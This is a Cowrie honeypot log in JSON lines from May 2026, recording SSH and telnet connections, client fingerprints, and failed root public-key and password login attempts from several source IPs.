{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:b9:11:97:fd:35:56:4f:a4:9e:11:17:9b:b6:05:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvAKjjnU9ZYEj5g5LS52ONq+JFBw6RKLvsbmJAgHv1K5G7f8AS6G8jfXLTybj/7Lo1pDRD22kDxstaEsr5Wr/HLAGEDtVwxwM4FxFPpAg+YCyQODScGEDhqYNslK/AGlY1+HLJFKy/QrwdBo4KkjY/IlNtecBukTRUgl3vYOfWzsW3tgA7IfnJRN3YfmtKKW0yW+qqer0susH3eDhJO+iU81s5prWCJUwtrQt2JCSAoOowxOxrWsxpCOIrNupEnQTArSetbNOJmRiPUJV+IsXmmU0nJUI/vt91GVLnmTAA7X6lJEvJShbMCvs8R3IFze1cQuMG5gGWC+aHCbDyBEuyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:b9:11:97:fd:35:56:4f:a4:9e:11:17:9b:b6:05:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.406675Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:b9:11:97:fd:35:56:4f:a4:9e:11:17:9b:b6:05:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvAKjjnU9ZYEj5g5LS52ONq+JFBw6RKLvsbmJAgHv1K5G7f8AS6G8jfXLTybj/7Lo1pDRD22kDxstaEsr5Wr/HLAGEDtVwxwM4FxFPpAg+YCyQODScGEDhqYNslK/AGlY1+HLJFKy/QrwdBo4KkjY/IlNtecBukTRUgl3vYOfWzsW3tgA7IfnJRN3YfmtKKW0yW+qqer0susH3eDhJO+iU81s5prWCJUwtrQt2JCSAoOowxOxrWsxpCOIrNupEnQTArSetbNOJmRiPUJV+IsXmmU0nJUI/vt91GVLnmTAA7X6lJEvJShbMCvs8R3IFze1cQuMG5gGWC+aHCbDyBEuyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.410915Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:28:4b:21:23:4f:96:e8:f6:31:09:3a:89:26:dc:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2FBFKge2fQPwg006PwN8u/u0TlXrSfwL60lsJA0UrbbxUyBIyM1bKo4uScFXJywe6xFLySfEEbMCCfcPWcTj2GGNqzCCvjyNFK/3v2OYBtFwKoBuvLhd9lal/sQHYuTP/NkDxabN2VvABIHwNhFkYBzeZy27Gd2jvSgXUy2FTG1+OIPzJYTRc60hE8zRZusWsfBejf/80tVzBZxt83iCK+rh8f1KxrFaz6uzAUCIaYdCx4rT1yJQNH73Dh5ntKldRsd6QbSUKSCPMiJdCvo/SVeJZy8w34cHoyTCV3XOkP5WfBX/VkXiTfeBiVVnjLRHLpDmrWXpUmZ6lDRRDmRc5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:28:4b:21:23:4f:96:e8:f6:31:09:3a:89:26:dc:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.433296Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:28:4b:21:23:4f:96:e8:f6:31:09:3a:89:26:dc:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2FBFKge2fQPwg006PwN8u/u0TlXrSfwL60lsJA0UrbbxUyBIyM1bKo4uScFXJywe6xFLySfEEbMCCfcPWcTj2GGNqzCCvjyNFK/3v2OYBtFwKoBuvLhd9lal/sQHYuTP/NkDxabN2VvABIHwNhFkYBzeZy27Gd2jvSgXUy2FTG1+OIPzJYTRc60hE8zRZusWsfBejf/80tVzBZxt83iCK+rh8f1KxrFaz6uzAUCIaYdCx4rT1yJQNH73Dh5ntKldRsd6QbSUKSCPMiJdCvo/SVeJZy8w34cHoyTCV3XOkP5WfBX/VkXiTfeBiVVnjLRHLpDmrWXpUmZ6lDRRDmRc5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.437204Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:e8:7c:72:a4:c3:86:ef:ab:7a:f7:b6:4b:d8:2d:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMjGFpNuN9hqJRgKQmUFCbZ1esRPevelmbShuThSJ1CT7zoKVyr6SdM0HY1kaWYF6Q+MeVSYlOBS1eKSVDyBktAmreQgwGvFEJrZiYGnZZWb9FLIdczHP6Cq4gVxhhTA++y29ZtDxtzKgr5e8kFmwrrPIZKGE370QnwI5cmiCeboOV3u+IYIg1qzngt6Jj0nWqKEclWUrXTvI7SLm5B1Rb+FFMbV2T7cR5TuviJUaOVtP/GJSgh2WNfD6oxMOAU6wog9l4+UHaQX2L6FPSZFjIOVdLtb4bqSr7nQKhh8SwZ2Z96v+V2PX7rt1f1xHgBeSUoTpQvOybfLUCYoCXFJTH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:e8:7c:72:a4:c3:86:ef:ab:7a:f7:b6:4b:d8:2d:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.458588Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:e8:7c:72:a4:c3:86:ef:ab:7a:f7:b6:4b:d8:2d:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMjGFpNuN9hqJRgKQmUFCbZ1esRPevelmbShuThSJ1CT7zoKVyr6SdM0HY1kaWYF6Q+MeVSYlOBS1eKSVDyBktAmreQgwGvFEJrZiYGnZZWb9FLIdczHP6Cq4gVxhhTA++y29ZtDxtzKgr5e8kFmwrrPIZKGE370QnwI5cmiCeboOV3u+IYIg1qzngt6Jj0nWqKEclWUrXTvI7SLm5B1Rb+FFMbV2T7cR5TuviJUaOVtP/GJSgh2WNfD6oxMOAU6wog9l4+UHaQX2L6FPSZFjIOVdLtb4bqSr7nQKhh8SwZ2Z96v+V2PX7rt1f1xHgBeSUoTpQvOybfLUCYoCXFJTH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.463054Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.486248Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.814353942871094,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:58.775455Z","src_ip":"128.199.8.54","session":"33641855085d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":60178,"dst_ip":"159.203.135.109","dst_port":22,"session":"4344460050f9","protocol":"ssh","message":"New connection: 78.83.249.54:60178 (159.203.135.109:22) [session: 4344460050f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:02.262795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:02.269532Z","src_ip":"78.83.249.54","session":"4344460050f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:02.390674Z","src_ip":"78.83.249.54","session":"4344460050f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"1234","message":"login attempt [openvpn/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:02.909058Z","src_ip":"78.83.249.54","session":"4344460050f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:04.033612Z","src_ip":"78.83.249.54","session":"4344460050f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48489236831665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:17.270026Z","src_ip":"68.178.168.57","session":"2feb1e755b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":36772,"dst_ip":"10.17.0.5","dst_port":23,"session":"44adb79ca09a","protocol":"telnet","message":"New connection: 68.178.168.57:36772 (10.17.0.5:23) [session: 44adb79ca09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:27.753583Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":53568,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f26cd626abf","protocol":"ssh","message":"New connection: 103.176.90.41:53568 (10.17.0.5:22) [session: 0f26cd626abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.095403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.105767Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.195607Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":37032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ac3f83e87f1","protocol":"telnet","message":"New connection: 68.178.168.57:37032 (10.17.0.5:23) [session: 4ac3f83e87f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.597027Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ac:8d:15:06:13:12:5b:2e:67:bd:9e:90:ba:b4:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0k4BULYBxw5u6Q4Fii9LXvfcrkK0M/eneW5aEJRqpFN5jYPMriAmWK5+Y6AUIecokezqKSrRarI0F/kOasgvZsTjKT063OFTdRN2XEFkcRAtE+wzHCH0408JxG2thdSRMxeE3ar6dpeZfORI1tq+3tXYT2XkVdgAGBtN+qSvB6xk1BsXaibJeUjCeX2nWWFIZ5WZm4jj2hophi8fNKZ4cgKR3OyRwF+Vx+lC66g2LwJkOd2wMm1AkOaMS1Hk6Oxcw20Ot0qji0g+tNri/0kInQEGCvhMGsOyhOMrwHY4V9ahesuibNqTgytojamizGj3fvDMc1qN297d0FInqOo1lqnYuzdCr1tzWvleq1kvSwBtSeerMwg8MLSD7asz1l0JPBhH6qmOxra5AsB0/p6TaC10zgwpf20nkKLTsyGYB5MohwZKUhT8SkT9hoGl+Y1G3+XhjWsIZWyA77jo62Scgn8t2ZMAjJxABCzMEXboTVGlz235MdGAXD8bIsIF1NY+5ontVqxV5lNMF9nEESgP8v7YJdZeuRT1ZJPG7l5ntDR/cuyrC4RnJ91n/y+bWGmH8f9DWfOqi2CwKloi1jRT7tUGzK802prMIGKPFUPKjGE+gpOmFaelfF/Ig3FmyFVQCLpUFEkrSRA7vWmDFTm3xJB4VFrjge9F0zS4g9/wpLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ac:8d:15:06:13:12:5b:2e:67:bd:9e:90:ba:b4:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.602043Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ac:8d:15:06:13:12:5b:2e:67:bd:9e:90:ba:b4:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0k4BULYBxw5u6Q4Fii9LXvfcrkK0M/eneW5aEJRqpFN5jYPMriAmWK5+Y6AUIecokezqKSrRarI0F/kOasgvZsTjKT063OFTdRN2XEFkcRAtE+wzHCH0408JxG2thdSRMxeE3ar6dpeZfORI1tq+3tXYT2XkVdgAGBtN+qSvB6xk1BsXaibJeUjCeX2nWWFIZ5WZm4jj2hophi8fNKZ4cgKR3OyRwF+Vx+lC66g2LwJkOd2wMm1AkOaMS1Hk6Oxcw20Ot0qji0g+tNri/0kInQEGCvhMGsOyhOMrwHY4V9ahesuibNqTgytojamizGj3fvDMc1qN297d0FInqOo1lqnYuzdCr1tzWvleq1kvSwBtSeerMwg8MLSD7asz1l0JPBhH6qmOxra5AsB0/p6TaC10zgwpf20nkKLTsyGYB5MohwZKUhT8SkT9hoGl+Y1G3+XhjWsIZWyA77jo62Scgn8t2ZMAjJxABCzMEXboTVGlz235MdGAXD8bIsIF1NY+5ontVqxV5lNMF9nEESgP8v7YJdZeuRT1ZJPG7l5ntDR/cuyrC4RnJ91n/y+bWGmH8f9DWfOqi2CwKloi1jRT7tUGzK802prMIGKPFUPKjGE+gpOmFaelfF/Ig3FmyFVQCLpUFEkrSRA7vWmDFTm3xJB4VFrjge9F0zS4g9/wpLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.605705Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1f:f3:e3:0d:0a:7a:36:31:0c:88:b8:84:5a:8d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6K7mqwUyoKr9NLcvSBXnvg0i5rHebkteoy65zWnhhnLR4Vt5yvJQYsy3cXERNnfAk0jOy/t90b3Hd7WWuRg4PS+rUhMcrOppNEItQ4tKHoIy2dE/twno1QUGkXRBC7TnjFN6KAx16/jz6KRQSH21oq4YG0RrXgQqyqA+ybUnmlHu4Y6vL6Yds8N+6DcFN4IBjqjbn4yDYRc/0zJNizX6A/PXdQ65krkWBUHA5/gume30y6cMUrHoX969PNx5H0ID+aoc8TV+DGGIwpc8rJAsn5pWX9PvrmavVMNFosEe4Ot5KQuZ7rjTfvHQc7N+RjrBv9XWyTmEm2qqBZyu1IvG1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1f:f3:e3:0d:0a:7a:36:31:0c:88:b8:84:5a:8d:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.691520Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1f:f3:e3:0d:0a:7a:36:31:0c:88:b8:84:5a:8d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6K7mqwUyoKr9NLcvSBXnvg0i5rHebkteoy65zWnhhnLR4Vt5yvJQYsy3cXERNnfAk0jOy/t90b3Hd7WWuRg4PS+rUhMcrOppNEItQ4tKHoIy2dE/twno1QUGkXRBC7TnjFN6KAx16/jz6KRQSH21oq4YG0RrXgQqyqA+ybUnmlHu4Y6vL6Yds8N+6DcFN4IBjqjbn4yDYRc/0zJNizX6A/PXdQ65krkWBUHA5/gume30y6cMUrHoX969PNx5H0ID+aoc8TV+DGGIwpc8rJAsn5pWX9PvrmavVMNFosEe4Ot5KQuZ7rjTfvHQc7N+RjrBv9XWyTmEm2qqBZyu1IvG1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.695328Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:f8:72:33:49:23:37:34:f0:7c:0a:ef:99:11:75:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfvMbKIuF5Bu5SuuNguVKahy0Au/IClkSgyrSQjDFVgbZkETlCSput9LiAhKvoO+WDE4QBBmXzt6NlUShl6Z6PrrvDp4xvjP6mQG1ufeXxnokznJcB10stBgpF6qYEE9yFw5Aprf2Xx8ZJ1dii5qYEdwlTRBGfv+uR4T/R1koS+/MhX9qoE3pIVYSMCSGshGauKo1h/J4Y+107Nf2PcRR/WFPgWAWuEIEtf4B7V2oE4qGM+ynDWBtT8yLoQ52esvFtGEkp0C6yLxXkb/POJJwvBrreEJTuC1iPF+oiCHdwany18G33VD/KI8rnV6kQ58e9yKobi5QriMuGk8G7kguF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:f8:72:33:49:23:37:34:f0:7c:0a:ef:99:11:75:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.781014Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:f8:72:33:49:23:37:34:f0:7c:0a:ef:99:11:75:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfvMbKIuF5Bu5SuuNguVKahy0Au/IClkSgyrSQjDFVgbZkETlCSput9LiAhKvoO+WDE4QBBmXzt6NlUShl6Z6PrrvDp4xvjP6mQG1ufeXxnokznJcB10stBgpF6qYEE9yFw5Aprf2Xx8ZJ1dii5qYEdwlTRBGfv+uR4T/R1koS+/MhX9qoE3pIVYSMCSGshGauKo1h/J4Y+107Nf2PcRR/WFPgWAWuEIEtf4B7V2oE4qGM+ynDWBtT8yLoQ52esvFtGEkp0C6yLxXkb/POJJwvBrreEJTuC1iPF+oiCHdwany18G33VD/KI8rnV6kQ58e9yKobi5QriMuGk8G7kguF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.786543Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:4d:97:12:82:3f:23:2b:6a:61:fb:04:6a:cb:00:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfvfyva2UdFuezNpzFBe2fNXUorZIRLOwcCgA+Awqpjlb4aJWoFrSKMkbCQ1DzpCj/jPCUhCHAnc/BWhiAZsOVB0rkOAPNyxFFPm+2EgozHlcfEa9G/1oIdqc3Er78V41uhXoiG0D5bGhx/oJB9rbzvbGDQj1rhlvDB41DIDkyFKdTCJ05S8fGVS7IgBWrCMQd/U9y5kg+iy1nia956eNpv4LSvXvjhTfx1XHMdJ3WgkYNLgKelSSca0RUydjgmlR9amUBTNkesdDsQXYyuaZzWgHdJXT295V3A7sq64rkQkJLjgzQbkx/H6JIDArGK2UL7G/MzextoMQVm7gCdJUSGLeSc6R5lffmUFJDaZ6oqxnLpAsVwzjimOpjEvvbhQRNj5YnxvFaDgPYHHAmtI5ra4hqbQLe3UV96PdmJzJBMCjFLFZ2t9B/ji8R3Ykvlw75d6Qzr4VkqXyEUHQbk0z2RPJKOh8WnnmQSCOJPmnuUfIbvSsJutVzaaoSv50ZV0W5crFuMqs6gqmSa5oGWbKlHENBro4s7OZ6ESfVZVUdBOGeMwPQ5LjZCuM+sHTDdLxcvmpKxSGq1h8dGtw55u1zZpb4WdEtyKPzbxKFYy16sz3Lga5MrsF0VCGBAEHR5JN6RONMrQSJ4sn38xpg/zMIOQ7Sk0PQuV+TUaRswyQlVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:4d:97:12:82:3f:23:2b:6a:61:fb:04:6a:cb:00:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.873246Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:4d:97:12:82:3f:23:2b:6a:61:fb:04:6a:cb:00:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfvfyva2UdFuezNpzFBe2fNXUorZIRLOwcCgA+Awqpjlb4aJWoFrSKMkbCQ1DzpCj/jPCUhCHAnc/BWhiAZsOVB0rkOAPNyxFFPm+2EgozHlcfEa9G/1oIdqc3Er78V41uhXoiG0D5bGhx/oJB9rbzvbGDQj1rhlvDB41DIDkyFKdTCJ05S8fGVS7IgBWrCMQd/U9y5kg+iy1nia956eNpv4LSvXvjhTfx1XHMdJ3WgkYNLgKelSSca0RUydjgmlR9amUBTNkesdDsQXYyuaZzWgHdJXT295V3A7sq64rkQkJLjgzQbkx/H6JIDArGK2UL7G/MzextoMQVm7gCdJUSGLeSc6R5lffmUFJDaZ6oqxnLpAsVwzjimOpjEvvbhQRNj5YnxvFaDgPYHHAmtI5ra4hqbQLe3UV96PdmJzJBMCjFLFZ2t9B/ji8R3Ykvlw75d6Qzr4VkqXyEUHQbk0z2RPJKOh8WnnmQSCOJPmnuUfIbvSsJutVzaaoSv50ZV0W5crFuMqs6gqmSa5oGWbKlHENBro4s7OZ6ESfVZVUdBOGeMwPQ5LjZCuM+sHTDdLxcvmpKxSGq1h8dGtw55u1zZpb4WdEtyKPzbxKFYy16sz3Lga5MrsF0VCGBAEHR5JN6RONMrQSJ4sn38xpg/zMIOQ7Sk0PQuV+TUaRswyQlVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.877305Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:d3:39:8e:e3:56:36:9e:d7:f6:2e:a8:e3:59:eb:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCJFJv7Mw45bXkr+QGYyeufeDpNZlTWxAGjMqBDzR4qY62M0oEqIfBCvuwwVY0r8MoRGHnn4eOHGilTAqGmpo8jj/DpOB2npMOckHvGWsgCcel4dQkZl/5TBYjBnHASGkppRiEFRNjYnza1+siuk9ThPnjT4lvBlzLRdc2RsiSkMMH2AsEdO7r5DTfT+7U1H9q99+5up0dsaiUTKptjeoz3WtQB2H54qkFlSX+BSXmkAPbeSsIU949tJirdUljXOQBmA3Yigo8PvnIZCluTJkji0aeop+v2YSfrCWbo8c3PGYjHJkv0ZMF2+6fTWTgOuxrGiQUu+WogAiInZo2v51D2tT0F8yO/4hFgq0mLx9XZ0v7L4lTNKTRk/CJDqDq3VRYDrsrepwVVrMZlbg7s/rWo1BPcu8mHtDZyQxBNLlGIFEeR0/n1YXoz7oSKp/VueN2BUTDWaDjup+1aGJyUkUM5vAzTQ6bdDQTFXU8Mk8zDT5ityuOqnagaw8YD6bgxHzE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:d3:39:8e:e3:56:36:9e:d7:f6:2e:a8:e3:59:eb:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:07:28.963880Z","src_ip":"103.176.90.41","session":"0f26cd626abf","protocol":"ssh"}
